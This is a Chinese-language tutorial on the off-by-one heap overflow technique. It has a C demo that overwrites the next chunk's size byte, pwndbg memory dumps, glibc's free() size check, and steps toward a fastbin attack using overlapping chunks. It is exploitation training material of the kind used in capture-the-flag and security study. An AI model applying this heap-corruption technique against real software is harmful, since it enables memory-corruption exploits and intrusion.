二进制安全之堆溢出(系列)—— off by one
本文是二进制安全之堆溢出系列的第六章节,主要介绍off by one。
原理
由于prev_size可以复用的机制,off by one 可以更改后一个chunk的size大小
off by one 造后向合并时,如果当前堆块大小不属于fastbin,注意第三个堆块的prev_inuse需要为1
free 掉合并后的堆块,然后malloc 取出,就造成了堆块重叠,即大堆块里面包含了之前的被迫合并的小堆块,且小堆块可以控制
后续再进行fastbin attack!!
Demo
#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
int main()
{
char *p = malloc(0x18);
char *q = malloc(0x18);
char *r = malloc(0x18);
sleep(0);
strcpy(p,"aaaaaaaabbbbbbbbcccccccc\x41");
free(q);
sleep(0);
malloc(0x30);
printf("%p\n",p);
printf("%p\n",q);
printf("%p\n",r);
sleep(0);
return 0;
}
调试
修改 q 的 size为 0×41
pwndbg> x/20gz 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x6161616161616161 0x6262626262626262
0x602020: 0x6363636363636363 0x0000000000000041 //q的size
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000411
0x602070: 0x3035303230367830 0x000000000000000a
?
如果改为0×51,free q的时候理论上会和top chunk的prev_size和size发生合并,而此时系统把top chunk的fd和bk当成prev_size和size来作为合并的检查条件,是不合法的,并且会报错!!
free(): invalid next size (fast)
?
查看glibc的对应的检查机制
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
?
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
此时的bins
0x40: 0x602020 ?— 0x0
malloc 合并后的堆块
0x40: 0x0
已经把合并的块malloc出去了
此时 p q r 的地址
0x602010
0x602030
0x602050
即现在的r堆块仍然逻辑上存在
free r 堆块
0x20: 0x602040 ?— 0x0
这时我们可以通过大堆块修改 r 块的fd,构造fastbin attack
